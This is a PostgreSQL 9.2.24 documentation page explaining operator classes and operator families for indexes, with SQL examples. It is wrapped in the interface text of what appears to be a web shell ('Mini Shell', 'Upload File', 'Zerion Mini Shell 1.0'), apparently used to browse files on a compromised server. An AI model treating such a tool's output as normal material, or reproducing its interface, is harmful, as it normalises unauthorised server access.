ok

Mini Shell

Direktori : /opt/alt/postgresql11/usr/share/doc/alt-postgresql11-9.2.24/html/
Upload File :
Current File : //opt/alt/postgresql11/usr/share/doc/alt-postgresql11-9.2.24/html/indexes-opclass.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>Operator Classes and Operator Families</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Indexes"
HREF="indexes.html"><LINK
REL="PREVIOUS"
TITLE="Partial Indexes"
HREF="indexes-partial.html"><LINK
REL="NEXT"
TITLE="Indexes and Collations"
HREF="indexes-collations.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="SECT1"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="Partial Indexes"
HREF="indexes-partial.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="indexes.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
>Chapter 11. Indexes</TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="Indexes and Collations"
HREF="indexes-collations.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><DIV
CLASS="SECT1"
><H1
CLASS="SECT1"
><A
NAME="INDEXES-OPCLASS"
>11.9. Operator Classes and Operator Families</A
></H1
><P
>   An index definition can specify an <I
CLASS="FIRSTTERM"
>operator
   class</I
> for each column of an index.
</P><PRE
CLASS="SYNOPSIS"
>CREATE INDEX <TT
CLASS="REPLACEABLE"
><I
>name</I
></TT
> ON <TT
CLASS="REPLACEABLE"
><I
>table</I
></TT
> (<TT
CLASS="REPLACEABLE"
><I
>column</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>opclass</I
></TT
> [<SPAN
CLASS="OPTIONAL"
><TT
CLASS="REPLACEABLE"
><I
>sort options</I
></TT
></SPAN
>] [<SPAN
CLASS="OPTIONAL"
>, ...</SPAN
>]);</PRE
><P>
   The operator class identifies the operators to be used by the index
   for that column.  For example, a B-tree index on the type <TT
CLASS="TYPE"
>int4</TT
>
   would use the <TT
CLASS="LITERAL"
>int4_ops</TT
> class; this operator
   class includes comparison functions for values of type <TT
CLASS="TYPE"
>int4</TT
>.
   In practice the default operator class for the column's data type is
   usually sufficient.  The main reason for having operator classes is
   that for some data types, there could be more than one meaningful
   index behavior.  For example, we might want to sort a complex-number data
   type either by absolute value or by real part.  We could do this by
   defining two operator classes for the data type and then selecting
   the proper class when making an index.  The operator class determines
   the basic sort ordering (which can then be modified by adding sort options
   <TT
CLASS="LITERAL"
>COLLATE</TT
>,
   <TT
CLASS="LITERAL"
>ASC</TT
>/<TT
CLASS="LITERAL"
>DESC</TT
> and/or
   <TT
CLASS="LITERAL"
>NULLS FIRST</TT
>/<TT
CLASS="LITERAL"
>NULLS LAST</TT
>).
  </P
><P
>   There are also some built-in operator classes besides the default ones:

   <P
></P
></P><UL
><LI
><P
>      The operator classes <TT
CLASS="LITERAL"
>text_pattern_ops</TT
>,
      <TT
CLASS="LITERAL"
>varchar_pattern_ops</TT
>, and
      <TT
CLASS="LITERAL"
>bpchar_pattern_ops</TT
> support B-tree indexes on
      the types <TT
CLASS="TYPE"
>text</TT
>, <TT
CLASS="TYPE"
>varchar</TT
>, and
      <TT
CLASS="TYPE"
>char</TT
> respectively.  The
      difference from the default operator classes is that the values
      are compared strictly character by character rather than
      according to the locale-specific collation rules.  This makes
      these operator classes suitable for use by queries involving
      pattern matching expressions (<TT
CLASS="LITERAL"
>LIKE</TT
> or POSIX
      regular expressions) when the database does not use the standard
      <SPAN
CLASS="QUOTE"
>"C"</SPAN
> locale.  As an example, you might index a
      <TT
CLASS="TYPE"
>varchar</TT
> column like this:
</P><PRE
CLASS="PROGRAMLISTING"
>CREATE INDEX test_index ON test_table (col varchar_pattern_ops);</PRE
><P>
      Note that you should also create an index with the default operator
      class if you want queries involving ordinary <TT
CLASS="LITERAL"
>&lt;</TT
>,
      <TT
CLASS="LITERAL"
>&lt;=</TT
>, <TT
CLASS="LITERAL"
>&gt;</TT
>, or <TT
CLASS="LITERAL"
>&gt;=</TT
> comparisons
      to use an index.  Such queries cannot use the
      <TT
CLASS="LITERAL"
><TT
CLASS="REPLACEABLE"
><I
>xxx</I
></TT
>_pattern_ops</TT
>
      operator classes.  (Ordinary equality comparisons can use these
      operator classes, however.)  It is possible to create multiple
      indexes on the same column with different operator classes.
      If you do use the C locale, you do not need the
      <TT
CLASS="LITERAL"
><TT
CLASS="REPLACEABLE"
><I
>xxx</I
></TT
>_pattern_ops</TT
>
      operator classes, because an index with the default operator class
      is usable for pattern-matching queries in the C locale.
     </P
></LI
></UL
><P>
  </P
><P
>    The following query shows all defined operator classes:

</P><PRE
CLASS="PROGRAMLISTING"
>SELECT am.amname AS index_method,
       opc.opcname AS opclass_name
    FROM pg_am am, pg_opclass opc
    WHERE opc.opcmethod = am.oid
    ORDER BY index_method, opclass_name;</PRE
><P>
  </P
><P
>   An operator class is actually just a subset of a larger structure called an
   <I
CLASS="FIRSTTERM"
>operator family</I
>.  In cases where several data types have
   similar behaviors, it is frequently useful to define cross-data-type
   operators and allow these to work with indexes.  To do this, the operator
   classes for each of the types must be grouped into the same operator
   family.  The cross-type operators are members of the family, but are not
   associated with any single class within the family.
  </P
><P
>    This query shows all defined operator families and all
    the operators included in each family:
</P><PRE
CLASS="PROGRAMLISTING"
>SELECT am.amname AS index_method,
       opf.opfname AS opfamily_name,
       amop.amopopr::regoperator AS opfamily_operator
    FROM pg_am am, pg_opfamily opf, pg_amop amop
    WHERE opf.opfmethod = am.oid AND
          amop.amopfamily = opf.oid
    ORDER BY index_method, opfamily_name, opfamily_operator;</PRE
><P>
  </P
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="indexes-partial.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="indexes-collations.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>Partial Indexes</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="indexes.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>Indexes and Collations</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>

Zerion Mini Shell 1.0